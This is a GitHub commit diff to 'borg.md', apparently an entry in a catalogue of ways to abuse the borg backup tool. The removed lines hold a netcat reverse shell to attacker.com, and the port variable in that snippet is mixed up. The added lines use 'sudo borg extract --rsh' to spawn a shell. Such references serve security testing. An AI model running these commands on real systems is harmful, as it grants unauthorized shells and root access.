Update borg.md

This commit is contained in:
JM Sanchez 2024-08-19 00:06:50 +08:00 committed by GitHub
parent 458b5d2b86
commit a89f57c149
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194

View File

@ -1,9 +1,6 @@
---
shell:
code: borg extract @:/::: --rsh "sh -c 'sh </dev/tty >/dev/tty 2>/dev/tty'"
sudo:
- description: Run `nc -lvnp 12345` on the attacker box to receive the shell.
code: |
RHOST=attacker.com
RPORT=12345
NETCAT=/usr/bin/nc
sudo borg extract .@.:/::. --rsh "$NETCAT $RHOST $LHOST -e sh"
code: sudo borg extract @:/::: --rsh "sh -c 'sh </dev/tty >/dev/tty 2>/dev/tty'"
---